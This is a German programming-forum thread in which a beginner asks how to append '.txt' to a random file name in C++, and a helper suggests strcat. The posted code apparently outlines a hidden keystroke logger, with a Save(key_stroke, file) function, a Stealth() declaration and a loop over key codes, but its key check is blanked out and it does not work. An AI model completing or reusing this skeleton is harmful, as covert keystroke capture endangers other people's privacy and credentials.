ERLEDIGT
JA
JA
ANTWORTEN
2
2
ZUGRIFFE
365
365
EMPFEHLEN
-
hey Leute..
Ich bräuchte mal Hilfe bei meinem Programm.
bisher erzeugt es ein Zufälligeswort, und erstellt dann eine Datei mit dem jeweiligen Zufallsnamen.. Nur dass die Datei nicht beschrieben werden kann, da die ".txt" endung fehlt.
Hier erstmal der Code:
Code :1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
#include <iostream> #include <ctime> #include <math.h> using namespace std; #include <windows.h> #include <Winuser.h> int Save (int key_stroke, char *file); void Stealth(); void rword (char *word) { int len = rand () % 6 + 1; word [len] = 0; while (len) word [--len] = 'a' + rand () % 26; } int main () { char word[7]; srand(time(0)); rword(word); while (true) { for(int i = 8; i <= 190; i++) { if (blabla=blablub) Save (i,word); } } system ("PAUSE"); return 0; }
wenn ich die variable "word", welche ein zufallswort beinhaltet mithilfe eines strings die endung hinzufüge, gibt es ne fehlermeldung , dass Save nur chars behandeln kann. also wird das mit den strings nichts..
weiß da wer ne lösung, wie man an das "word" noch die Endung ".txt" anhängen kann?
danke schonmal
-
Hi und Willkommen bei tutorials.de,
mit "String" meinst du die C++-Klasse string?
Du könntest den String mit .c_str() zu einem char-Array umformen
(Was du da hast ist kein char, sondern char-Array. Ist ein großer Unterschied.)
Mit C-Mitteln ists aber auch nicht schwer.
Zuerst wort vergrößern (mit [7] könnte das ".txt" zu wenig Platz haben)
und dann
Code cpp:1
strcat(wort, ".txt");
Was ich aber nicht versteh: Warum kannst du die Datei
ohne ".txt" nicht öffnen? Die Endung hat keinen Einfluss auf den Inhalt.
Bitte Netiquette §15 beachten und cpp statt code nehmen
(Liste der möglichen Codetags in meiner Signatur verlinkt).
GrußNetiquette (vA §15) und Nutzungsregeln (vA §4.8) einhalten! Programmcode in Codetags/Codeboxen.
Sehr gute Beiträge bitte Bewerten (Stern darunter oder "Danke").
"Funktioniert nicht" ist zu ungenau! Code, Fehlermeldungen, Verhalten des Programms, ...?
-
Erstmal danke für den Willkommensgruß !

Ja mit "String" war die C++Klasse string gemeint.
Ich bin noch recht neu im Programmierwesen und kann deshalb so kleine Probleme nicht selber lösen..
Google konnte mir auch nicht die gewünschte Antwort liefern.
Ich hab jetzt bemerkt, dass die Datei, die erstellt wird, ja auch so mithilfe des Editors auslesbar ist, und die Endung ".txt" demnach ziemlich sinnlos ist.
Sonst denke ich, dass "strcat(wort, ".txt");" die wahrscheinlich richtige Lösung sein wird.
Danke für die schnelle und hilfreiche Antwort!
Ähnliche Themen
-
[C] Unterschied zwischen char* blub = "Hallo"; und char blub[] = "Hallo"?
Von Hawkster im Forum C/C++Antworten: 4Letzter Beitrag: 03.01.12, 15:33 -
"operator char*" vs. "toCharPtr()" - Unterschiedliches Verhalten?
Von the snake II im Forum C/C++Antworten: 0Letzter Beitrag: 13.11.11, 14:27 -
Unterschied zwischen "char" und "unsigned char"
Von 3Cyb3r im Forum C/C++Antworten: 2Letzter Beitrag: 05.04.10, 23:31 -
Word Dokumente mit ".docx"-Endung in InDesign importieren
Von bigtail im Forum Desktop Publishing (DTP)Antworten: 2Letzter Beitrag: 19.06.09, 00:25 -
Endung anhängen bei "ofstream"
Von lolkopf im Forum C/C++Antworten: 2Letzter Beitrag: 09.04.07, 21:12





Zitieren

Login






